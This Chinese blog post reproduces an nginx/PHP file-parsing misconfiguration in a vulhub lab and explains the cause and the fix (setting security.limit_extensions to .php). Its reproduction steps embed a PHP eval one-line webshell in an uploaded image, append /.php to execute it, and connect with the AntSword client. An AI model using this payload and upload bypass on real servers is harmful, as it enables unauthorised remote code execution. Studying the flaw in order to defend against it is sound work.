标签:文件 解析 漏洞 vulnerability nginx php 上传
0x00 实验环境
攻击机:Win 10
靶场:docker拉的vulhub靶场
0x01 影响版本
一些配置错误的情况,与nginx、php版本无关。
常常出现为nginx解析任意文件为php而导致解析漏洞。
0x02 漏洞复现
(1)上传一张正常的图片,然后在上传图片时进行抓包:
(2)如上图所示,在图片的数据报文中加入一句话木马:
<?php @eval($_POST['x']);?>
(3)上传完成后能看到图片上传的路径,点击访问,能成功访问到后,在图片文件名后加一个/.php
发现成功上传并成功解析为php文件。
(4)使用蚁剑直接连接即可:
0x03 漏洞原理
nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’)。
如下图就是个错误的配置:
在这个www-2.conf的配置文件中,security.limit_extensions被设置为了空,故什么文件都是可以执行的,所以在防护的时候,需要将这个配置为.php(即:仅为.php的文件才能执行)。
0x04 修复建议
设置security.limit_extensions=.php,重启一下服务即可。
0x05 参考文献
https://www.cnblogs.com/renhaoblog/p/12874603.html
https://idc.wanyunshuju.com/aqld/1875.html
0x06 免责声明
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!
标签:文件,解析,漏洞,vulnerability,nginx,php,上传 来源: https://www.cnblogs.com/cute-puli/p/15343202.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。